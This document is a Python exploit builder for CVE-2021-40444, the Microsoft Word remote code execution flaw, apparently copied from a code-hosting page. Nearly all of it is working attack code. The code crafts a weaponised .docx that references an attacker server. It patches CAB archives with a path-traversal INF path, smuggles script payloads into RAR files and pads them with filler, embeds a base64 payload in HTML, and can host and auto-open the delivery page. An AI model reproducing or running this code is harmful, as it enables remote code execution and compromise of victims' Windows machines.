You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
437 lines
16 KiB
437 lines
16 KiB
#!/usr/bin/env python3 |
|
|
|
# Microsoft Office Remote Code Execution Exploit via Logical Bug |
|
# Result is ability for attackers to execute arbitrary custom DLL's |
|
# downloaded and executed on target system |
|
import argparse |
|
import base64 |
|
import binascii |
|
import random |
|
import re |
|
import secrets |
|
import shutil |
|
import string |
|
import struct |
|
import sys |
|
import os |
|
import subprocess |
|
import tempfile |
|
import time |
|
import traceback |
|
from pathlib import Path |
|
|
|
from cab_parser import Cab |
|
from in_place import InPlace |
|
|
|
|
|
def patch_cab(path: Path, original_inf_path, patched_inf_path): |
|
with InPlace(str(path.absolute()), mode="b") as out_cab: |
|
cab = Cab(out_cab.read()) |
|
print(" [*] Setting setID to 1234") |
|
cab.change_set_id(1234) |
|
print(" [*] Setting CFFolder.coffCabStart to 80") |
|
cab.change_coff_cab_start(80) |
|
print(" [*] Setting CFFolder.CCFData to 2") |
|
cab.change_ccfdata_count(2) |
|
size = struct.unpack("<I", b"\x00\x22\x44\x00")[0] |
|
print(f" [*] Setting CFFile.CbFile to {size}") |
|
cab.change_cffile_cbfile(size) |
|
print(" [*] Making INF file read only") |
|
cab.make_file_read_only() |
|
print(" [*] Zeroing out Checksum") |
|
cab.zero_out_signature() |
|
out_cab.write(cab.to_bytes()) |
|
|
|
with InPlace(str(path.absolute()), mode="b") as out_cab: |
|
content = out_cab.read() |
|
content = content.replace(original_inf_path, patched_inf_path) |
|
print(f" [*] Patching path '{original_inf_path.decode()}' to '{patched_inf_path.decode()}'") |
|
out_cab.write(content) |
|
|
|
|
|
def make_ddf(ddf_file: Path, cab_file: Path, inf_file: Path): |
|
# We need to generate a DDF file for makecab to work properly |
|
# CabinetNameTemplate = Basename of the cab file |
|
# DiskDirectoryTemplate = Directory where the cab file will be |
|
with open(str(ddf_file.absolute()), "w") as ddf: |
|
ddf.write(rf""".OPTION EXPLICIT |
|
.Set CabinetNameTemplate={cab_file.name} |
|
.set DiskDirectoryTemplate={cab_file.parent.name} |
|
.Set CompressionType=MSZIP |
|
.Set UniqueFiles=OFF |
|
.Set Cabinet=ON |
|
.Set Compress=OFF |
|
.Set CabinetFileCountThreshold=0 |
|
.Set FolderFileCountThreshold=0 |
|
.Set FolderSizeThreshold=0 |
|
.Set MaxCabinetSize=0 |
|
.Set MaxDiskFileCount=0 |
|
.Set MaxDiskSize=0 |
|
{inf_file.absolute()}""") |
|
|
|
|
|
def execute_cmd(cmd, execute_from=None): |
|
try: |
|
subprocess.check_output( |
|
cmd, |
|
shell=True, |
|
cwd=execute_from |
|
) |
|
except subprocess.CalledProcessError as calledProcessError: |
|
print(calledProcessError) |
|
exit(1) |
|
|
|
|
|
def patch_rar(rar_file, script: bytes): |
|
# JS downloader string |
|
downloader = bytearray(script) |
|
# Appending null byte |
|
# downloader.append(0) |
|
content = bytearray(open(rar_file, "rb").read()) |
|
content = bytes(downloader + content) |
|
with open(rar_file, "wb") as rar: |
|
rar.write(content) |
|
|
|
|
|
def rar(file: Path, rar_file, delete=False): |
|
try: |
|
output = subprocess.check_output( |
|
f"bin\\rar.exe a -ep \"{rar_file}\" \"{str(file)}\"", |
|
stderr=subprocess.STDOUT, |
|
shell=True |
|
) |
|
if delete: |
|
file.unlink(missing_ok=True) |
|
except subprocess.CalledProcessError: |
|
print("[-] Error generating RAR archive") |
|
exit(1) |
|
|
|
|
|
def make_rar(rar_file): |
|
file_name = None |
|
with tempfile.NamedTemporaryFile( |
|
suffix=".txt", |
|
delete=False, |
|
mode="w" |
|
) as txt_file: |
|
txt_file.write("You've been pwnd!") |
|
file_name = Path(txt_file.name).absolute() |
|
|
|
rar(file_name, rar_file, delete=True) |
|
|
|
|
|
def choose_template(templates: list): |
|
try: |
|
print("[*] Multiple compatible templates identified, choose one:") |
|
choice = -1 |
|
for n, t in enumerate(templates, start=0): |
|
print(f" {n}: {t}") |
|
while not 0 <= choice <= len(templates) - 1: |
|
try: |
|
choice = int(input(" $> ")) |
|
except ValueError: |
|
continue |
|
return templates[choice] |
|
except KeyboardInterrupt: |
|
print("[-] Aborting") |
|
sys.exit(1) |
|
|
|
|
|
def append_garbage(content: str, exploit: str): |
|
eol = '\n' |
|
garbage = "" |
|
filler = "A" * 80000 |
|
if exploit == ".vbs": |
|
eol = '" _ \n & "' |
|
garbage = rf""" |
|
Dim Garbage |
|
Garbage = "{eol.join([filler[i:i + 100] for i in range(0, len(filler), 100)])}"; |
|
""" |
|
elif exploit == ".js": |
|
garbage = f"var x = '';{eol}" + eol.join([f"x = '{filler[i:i + 100]}';" for i in range(0, len(filler), 100)]) |
|
elif exploit in [".wsf", ".hta"]: |
|
garbage = f"<!--{eol}{filler}{eol}-->{eol}" |
|
return content + garbage |
|
|
|
|
|
def get_file_extension_based_uri(exploit, no_cab=False): |
|
if exploit == ".dll": |
|
return ".cpl" |
|
elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"] and no_cab: |
|
return exploit |
|
elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]: |
|
return ".wsf" |
|
|
|
|
|
def get_mime_type(exploit): |
|
if exploit == ".dll": |
|
return "application/octet-stream" |
|
elif exploit == ".hta": |
|
return "application/hta" |
|
elif exploit == ".js": |
|
return "text/javascript" |
|
elif exploit == ".vbs": |
|
return "text/vbscript" |
|
elif exploit == ".wsh": |
|
return "text/plain" |
|
elif exploit == ".wsf": |
|
return "text/xml" |
|
|
|
|
|
def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): |
|
# Current Working Directory |
|
working_directory = Path(__file__).parent |
|
|
|
# Relevant directories for Execution |
|
data_path = working_directory.joinpath("data") |
|
word_dat_path = data_path.joinpath("word_dat") |
|
srv_path = working_directory.joinpath("srv") |
|
out_path = working_directory.joinpath("out") |
|
cab_path = working_directory.joinpath("cab") |
|
template_path = working_directory.joinpath("template") |
|
|
|
# Relevant files |
|
tmp_path = data_path.joinpath("tmp_doc") |
|
word_dll = data_path.joinpath(f'{basename}.dll') |
|
word_doc = out_path.joinpath('document.docx') |
|
ddf = data_path.joinpath('mswordcab.ddf') |
|
archive_file = out_path.joinpath(f"{basename}.cab") |
|
rar_file = out_path.joinpath(f"{basename}.rar") |
|
exploit_file = cab_path.joinpath(f"{basename}.inf") |
|
|
|
exploit = os.path.splitext(args.payload)[1] |
|
|
|
if no_cab and exploit != ".wsf": |
|
print("[-] CAB-less version chosen, only .wsf is currently working") |
|
exit(1) |
|
|
|
lolbin = exploit not in [".dll"] |
|
|
|
if exploit == ".wsf" and no_cab: |
|
id = "cabless-rar-" |
|
elif lolbin and no_cab: |
|
id = "cabless-smuggling-" |
|
elif lolbin: |
|
id = "cab-uri-" |
|
else: |
|
id = "cab-orig-" |
|
|
|
script_file = None |
|
templates = [ |
|
f for f in os.listdir(str(template_path)) |
|
if os.path.isfile(os.path.join(str(template_path), f)) |
|
and f.find(id) > -1 |
|
] |
|
html_template_file = template_path.joinpath(choose_template(templates)) |
|
html_final_file = srv_path.joinpath(f"{basename}.html") |
|
|
|
# Checking ephemeral directories |
|
tmp_path.mkdir(exist_ok=True) |
|
cab_path.mkdir(exist_ok=True) |
|
srv_path.mkdir(exist_ok=True) |
|
out_path.mkdir(exist_ok=True) |
|
|
|
print(f' [>] Payload: {payload}') |
|
print(f' [>] HTML/CAB/JS Hosting Server: {server_url}') |
|
|
|
b64_payload = None |
|
payload_content = None |
|
try: |
|
if exploit != ".dll" and no_cab: |
|
payload_content = open(payload, 'r').read().strip().encode() |
|
elif exploit != ".dll": |
|
payload_content = "\x5a\x4d" + open(payload, 'r').read().strip() |
|
payload_content = append_garbage(payload_content, exploit) |
|
payload_content = payload_content.encode() |
|
else: |
|
payload_content = open(payload, 'rb').read() |
|
with open(str(word_dll), 'wb') as filep: |
|
filep.write(payload_content) |
|
b64_payload = base64.b64encode(payload_content).decode() |
|
except FileNotFoundError: |
|
print('[-] Payload specified not found!') |
|
exit(1) |
|
except Exception as e: |
|
print(f"[-] Exception: {e}") |
|
exit(1) |
|
|
|
if lolbin and no_cab: |
|
tmp = Path(exploit_file.parent).joinpath(basename + get_file_extension_based_uri(exploit)) |
|
exploit_file.unlink(missing_ok=True) |
|
exploit_file = Path(tmp) |
|
with open(str(exploit_file), "w") as out: |
|
out.write(payload_content.decode()) |
|
print(f"[*] Exposing script file {exploit_file.name} to the webserver for download") |
|
shutil.copy(str(exploit_file), str(srv_path)) |
|
|
|
shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True) |
|
print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...') |
|
with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels: |
|
xml_content = rels.read() |
|
xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}') |
|
# xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name) |
|
rels.write(xml_content) |
|
|
|
print('[*] Packing MS Word .docx file...') |
|
word_doc.unlink(missing_ok=True) |
|
shutil.make_archive(str(word_doc), 'zip', str(tmp_path)) |
|
shutil.move(str(word_doc) + ".zip", str(word_doc)) |
|
shutil.rmtree(str(tmp_path)) |
|
|
|
if not no_cab: |
|
print('[*] Generating CAB file...') |
|
make_ddf(ddf_file=ddf, cab_file=archive_file, inf_file=exploit_file) |
|
shutil.move(word_dll, exploit_file) |
|
|
|
execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory)) |
|
patched_path = f'../{exploit_file.name}'.encode() |
|
patch_cab(archive_file, str(exploit_file.name).encode(), patched_path) |
|
shutil.copy(archive_file, srv_path) |
|
shutil.copy(ddf, srv_path) |
|
|
|
word_dll.unlink(missing_ok=True) |
|
exploit_file.unlink(missing_ok=True) |
|
ddf.unlink(missing_ok=True) |
|
shutil.rmtree(str(cab_path.absolute())) |
|
|
|
print('[*] Updating information on HTML exploit...') |
|
shutil.copy(str(html_template_file), str(html_final_file)) |
|
|
|
print('[*] Copying MS Word .docx to Desktop for local testing...') |
|
dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name) |
|
dest.unlink(missing_ok=True) |
|
shutil.copy(str(word_doc.absolute()), dest) |
|
|
|
if copy_to and os.path.isdir(copy_to) and not no_cab: |
|
print(f'[*] Copying malicious cab to {copy_to} for analysis...') |
|
dest = Path(copy_to).joinpath(archive_file.name) |
|
dest.unlink(missing_ok=True) |
|
shutil.copy(str(archive_file.absolute()), dest) |
|
print(f' [>] CAB file stored at: {archive_file}') |
|
|
|
with InPlace(str(html_final_file)) as p_exp: |
|
content = p_exp.read() |
|
content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{archive_file.name}") |
|
content = content.replace('<INF_CHANGE_HERE>', f"{exploit_file.name}") |
|
content = content.replace('<RAR_CHANGE_HERE>', f"{rar_file.name}") |
|
content = content.replace('<URI_SCHEME_HERE>', get_file_extension_based_uri(exploit)) |
|
content = content.replace('<BASE64_DATA_HERE>', b64_payload) |
|
content = content.replace('<MIME_TYPE_HERE>', get_mime_type(exploit)) |
|
content = content.replace('<FIRST_LETTER>', get_file_extension_based_uri(exploit)[1]) |
|
content = content.replace('<SECOND_LETTER>', get_file_extension_based_uri(exploit)[2]) |
|
content = content.replace('<THIRD_LETTER>', get_file_extension_based_uri(exploit)[3]) |
|
p_exp.write(content) |
|
|
|
print(f'[+] Success! MS Word Document stored at: {word_doc}') |
|
|
|
if exploit == ".wsf" and no_cab: |
|
print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download") |
|
rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name) |
|
wsf_file = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath("test.wsf") |
|
rar(word_doc, rar_dest, delete=False) |
|
patch_rar(rar_file=rar_dest, script=payload_content) |
|
shutil.copy(str(rar_dest), str(srv_path)) |
|
shutil.copy(str(rar_dest), str(wsf_file)) |
|
|
|
return html_final_file.name |
|
|
|
|
|
def start_server(lport, directory: Path): |
|
this = Path(__file__).parent.joinpath("util").joinpath("server.py") |
|
subprocess.Popen( |
|
f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" localhost {lport}', |
|
shell=True, |
|
close_fds=True, |
|
stderr=subprocess.DEVNULL, |
|
stdout=subprocess.DEVNULL, |
|
creationflags=subprocess.DETACHED_PROCESS |
|
) |
|
|
|
|
|
def start_client(url): |
|
subprocess.Popen( |
|
f'"C:\\Program Files\\Internet Explorer\\iexplore.exe" "{url}"', |
|
shell=True, |
|
close_fds=True, |
|
stderr=subprocess.DEVNULL, |
|
stdout=subprocess.DEVNULL, |
|
creationflags=subprocess.DETACHED_PROCESS |
|
) |
|
|
|
|
|
def clean(): |
|
pass |
|
|
|
|
|
def validate_filename(filename): |
|
# Required length for the file name |
|
required_length = 12 |
|
if not filename: |
|
filename = "" |
|
current_length = len(filename) |
|
if current_length > 12: |
|
filename = filename[:12] |
|
gap = required_length - current_length |
|
return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap)) |
|
|
|
|
|
if __name__ == '__main__': |
|
parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]') |
|
parser.add_argument('-P', '--payload', type=str, required=True, |
|
help="DLL payload to use for the exploit") |
|
parser.add_argument('-u', '--url', type=str, default=None, required=True, |
|
help="Server URL for malicious references (CAB->INF)") |
|
parser.add_argument('-o', '--output', type=str, default=None, required=False, |
|
help="Output files basename (no extension)") |
|
parser.add_argument('--host', action='store_true', default=False, required=False, |
|
help="If set, will host the payload after creation") |
|
parser.add_argument('-c', '--copy-to', type=str, default=None, required=False, |
|
help="Copy payload to an alternate path") |
|
parser.add_argument('-nc', '--no-cab', action='store_true', default=False, required=False, |
|
help="Use the CAB-less version of the exploit") |
|
parser.add_argument('-t', '--test', action='store_true', default=False, required=False, |
|
help="Open IExplorer to test the final HTML file") |
|
|
|
args = parser.parse_args() |
|
|
|
filename = validate_filename(args.output) |
|
|
|
print('[*] Generating a malicious payload...') |
|
html = None |
|
server = args.url |
|
|
|
port = 80 |
|
try: |
|
scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1] |
|
if scheme == "http": |
|
port = 80 |
|
elif scheme == "https": |
|
port = 443 |
|
else: |
|
raise NotImplemented(f"Scheme {scheme} is not supported") |
|
if len(server.split(":")) > 2: |
|
port = int(server.split(":")[2].split("/")[0]) |
|
except NotImplemented as e: |
|
print(f"[-] {e}") |
|
exit(1) |
|
except (ValueError, KeyError, IndexError): |
|
print("[-] Wrong URL format") |
|
exit(1) |
|
|
|
try: |
|
html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to, |
|
no_cab=args.no_cab) |
|
except (SystemExit, KeyboardInterrupt): |
|
exit(1) |
|
except: |
|
traceback.print_exc() |
|
exit(1) |
|
if args.host and html: |
|
print(f'[*] Hosting HTML Exploit at {args.url}:{port}/{html}...') |
|
start_server(lport=port, directory=Path(__file__).parent.joinpath("srv")) |
|
if args.test: |
|
if os.path.splitext(args.payload)[1] != ".wsf": |
|
print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}") |
|
print(f'[*] Opening IE at {args.url}/{html}...') |
|
time.sleep(3) |
|
start_client(f"{args.url}/{html}")
|
|
|